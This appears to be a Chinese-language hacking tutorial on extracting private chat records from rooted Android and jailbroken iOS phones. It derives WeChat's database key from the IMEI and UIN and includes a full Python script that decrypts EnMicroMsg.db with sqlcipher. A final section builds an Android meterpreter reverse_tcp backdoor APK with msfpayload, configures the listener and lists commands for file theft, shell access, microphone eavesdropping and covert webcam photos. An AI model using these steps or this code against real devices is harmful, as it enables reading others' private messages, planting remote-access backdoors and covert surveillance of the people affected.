0×00 条件: 安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱,安装OpenSSH插件 0×01 安卓:很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。 安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。
Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg [/url]
首先通过FTP把文件down到本地: [url=http://image.3001.net/images/20160606/1465200848642.png%21small]
以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db [/url] 用数据库管理器打开:提示加密或者不是数据库文件 [url=http://image.3001.net/images/20160606/14652008718675.png%21small]
这里可以用windows环境下的sqlite Database Browser浏览器打开: [/url]
提示输入密码: [url=http://image.3001.net/images/20160606/14652008994439.png%21small] 那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。
微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种: - 1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;
- 2.通过抓取WEB版微信聊天的数据包获取到uin。
复制代码 1.1 App 配置文件 find / -name “system_config_prefs.xml” [/url] - /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml
复制代码- cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin
复制代码[url=http://image.3001.net/images/20160628/14671055233150.png] - <int name="default_uin" value="146****21" />
复制代码 1.2 谷歌chrome浏览器登陆WEB版微信:[/url]
登陆后新建窗口并访问chrome://net-internals/#events 发送信息 抓包 find uin值 [url=http://image.3001.net/images/20160606/14652009417012.png%21small]
uin:146****21
[/url]
通过上述两种方法找到的uin值是相同的。 安卓拨号界面输入*#06#获得手机IMEI码:354**********85 SIM值+uin值组合即为146****21354**********85
md5: [url=http://www.spriteking.com/cmd5/]http://www.spriteking.com/cmd5/ 左侧加密 [/url]
得到32位小写md5值:a1edf9f5********************b5e5 取其前七位:a1edf9f输入到sql浏览器中。
Linux、Mac用户也可以在终端执行: - echo -n "146****21354**********85" | md5sum | cut -c -7
复制代码[url=http://image.3001.net/images/20160629/1467165602656.png]
成功打开微信的数据库文件:
[/url]
[url=http://image.3001.net/images/20160606/1465200984808.png%21small]
Wechat2txt.py:gist.github.com- import os
- import sys
- import re
- import hashlib
- import csv
- import time
- import locale
- import getopt
- def get_db():
- os.popen('adb root').close()
- text = os.popen(
- 'adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read()
- return text.splitlines()[- 1] if text else ''
- def get_default_uin():
- os.popen('adb root').close()
- text = os.popen(
- 'adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read()
- default_uin = re.findall(
- 'name="default_uin" value="([0-9]+)"', text)
- return default_uin[0] if default_uin else 0
- def get_device_ID():
- text = os.popen('adb shell dumpsys iphonesubinfo').read()
- device_ID = re.findall('Device ID = ([0-9]+)', text)
- return device_ID[0] if device_ID else 0
- def get_md5():
- default_uin = get_default_uin()
- device_ID = get_device_ID()
- if default_uin and device_ID:
- return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]
- return ''
- def parse_msgcsv(msgcsv):
- locale.setlocale(locale.LC_ALL, '')
- if hasattr(msgcsv, 'title'):
- msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()]
- pass
- OooO0 = csv.reader(msgcsv)
- OooO0.next()
- for ooOoo0O in OooO0:
- try:
- II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[
- : 12]
- pass
- except:
- continue
- ooooooO0oo = 'me' if (Oo00OOOOO == '1') else name
- IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)
- I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1)
- yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]
- pass
- pass
- def get_names(chat):
- names = {}
- for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
- names[name] = 1
- pass
- return names.keys()
- def oo(chat, name=''):
- text = []
- name = name.lower()
- for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
- iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n ')
- o0 = ('\t' + o0) if o0 else ''
- if not name:
- text.append('%s: %s %s: %s %s' %
- (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
- pass
- elif name.lower() == name:
- text.append('%s %s: %s %s' %
- (I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
- pass
- pass
- return '\n'.join(text) + '\n'
- def IIIii1II1II(dbn, key=''):
- child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
- if key:
- child_stdin.write('PRAGMA key=%s;\n' % ` key `)
- child_stdin.write('pragma cipher_use_hmac=off;\n')
- pass
- child_stdin.write('.tables\n')
- child_stdin.close()
- return child_stdout.read().split()
- def decrypt(dbn, key='', table='message'):
- table = table or 'message'
- child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
- child_stdin.write('.header on\n')
- child_stdin.write('.mode csv\n')
- if key:
- child_stdin.write('PRAGMA key=%s;\n' % ` key `)
- child_stdin.write('pragma cipher_use_hmac=off;\n')
- pass
- child_stdin.write('select * from %s;\n' % ` table `)
- child_stdin.close()
- return child_stdout.read()
- def wechat2txt(names=[]):
- in_file = 'EnMicroMsg.db'
- out_file = 'message.csv'
- db = get_db()
- md5 = get_md5()
- os.popen('adb wait-for-device')
- os.popen('adb pull %s %s' % (db, in_file)).close()
- msgcsv = decrypt(in_file, md5)
- if msgcsv.find('\n') < 0:
- return 1
- file(out_file, 'w').write(msgcsv)
- msgs = list(parse_msgcsv(msgcsv))
- if not msgs:
- return 1
- if not names:
- names = get_names(msgs)
- pass
- for name in names:
- filename = 'message.%s.txt' % name
- text = oo(msgs, name)
- if len(text) > 4:
- file(filename, 'w').write(text)
- pass
- pass
- pass
- help_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]...
- OPTIONS:
- -h display this help and exit
- '''
- def main():
- try:
- opts, args = getopt.getopt(sys.argv[1:], 'h')
- except getopt.error, e:
- print help_msg
- return 1
- for opt, arg in opts:
- if opt == '-h':
- print help_msg
- return 1
- pass
- names = args
- text = wechat2txt(names)
- return not text
- if __name__ == "__main__":
- sys.exit(main())
复制代码 0×02 苹果:
Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:
[/url]
iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。
在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。 - find /var/mobile/Containers/Data -name "MM.sqlite"
- mkdir /cache
- find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../../ /cache
复制代码在越狱iOS窃取隐私可参考:[url=http://www.freebuf.com/articles/terminal/76317.html]帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息一文
0×03 在安卓终端植入后门
3.1 实验环境
Kali Linux(Hack):192.168.31.213
Android(靶机):192.168.31.118
3.2生成后门文件:
- cd Desktop
- msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk
复制代码
3.3 运行metasploit控制台
- msfconsole
- use exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set LHOST 192.168.31.213
- set LPORT 443
- run
复制代码[url=http://image.3001.net/images/20160627/14670188507099.png]
3.4 安装&运行后门App
后门能进行什么操作?我们来看看usage: - meterpreter > help
- Core Commands
- =============
- Command Description
- ------- -----------
- ? Help menu
- background Backgrounds the current session
- bgkill Kills a background meterpreter script
- bglist Lists running background scripts
- bgrun Executes a meterpreter script as a background thread
- channel Displays information about active channels
- close Closes a channel
- disable_unicode_encoding Disables encoding of unicode strings
- enable_unicode_encoding Enables encoding of unicode strings
- exit Terminate the meterpreter session
- help Help menu
- info Displays information about a Post module
- interact Interacts with a channel
- irb Drop into irb scripting mode
- load Load one or more meterpreter extensions
- quit Terminate the meterpreter session
- read Reads data from a channel
- resource Run the commands stored in a file
- run Executes a meterpreter script or Post module
- use Deprecated alias for 'load'
- write Writes data to a channel
- Stdapi: File system Commands
- ============================
- Command Description
- ------- -----------
- cat Read the contents of a file to the screen
- cd Change directory
- download Download a file or directory
- edit Edit a file
- getlwd Print local working directory
- getwd Print working directory
- lcd Change local working directory
- lpwd Print local working directory
- ls List files
- mkdir Make directory
- pwd Print working directory
- rm Delete the specified file
- rmdir Remove directory
- search Search for files
- upload Upload a file or directory
- Stdapi: Networking Commands
- ===========================
- Command Description
- ------- -----------
- ifconfig Display interfaces
- ipconfig Display interfaces
- portfwd Forward a local port to a remote service
- route View and modify the routing table
- Stdapi: System Commands
- =======================
- Command Description
- ------- -----------
- execute Execute a command
- getuid Get the user that the server is running as
- ps List running processes
- shell Drop into a system command shell
- sysinfo Gets information about the remote system, such as OS
- Stdapi: Webcam Commands
- =======================
- Command Description
- ------- -----------
- record_mic Record audio from the default microphone for X seconds
- webcam_list List webcams
- webcam_snap Take a snapshot from the specified webcam
- record_mic 通过手机麦克风进行窃听、录音;
- webcam_list 列出安卓设备的所有摄像头;
- webcam_snap 通过摄像头进行偷拍…
复制代码 文中工具下载地址:
SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd
SSHDroid:http://pan.baidu.com/s/1b6PBK6
|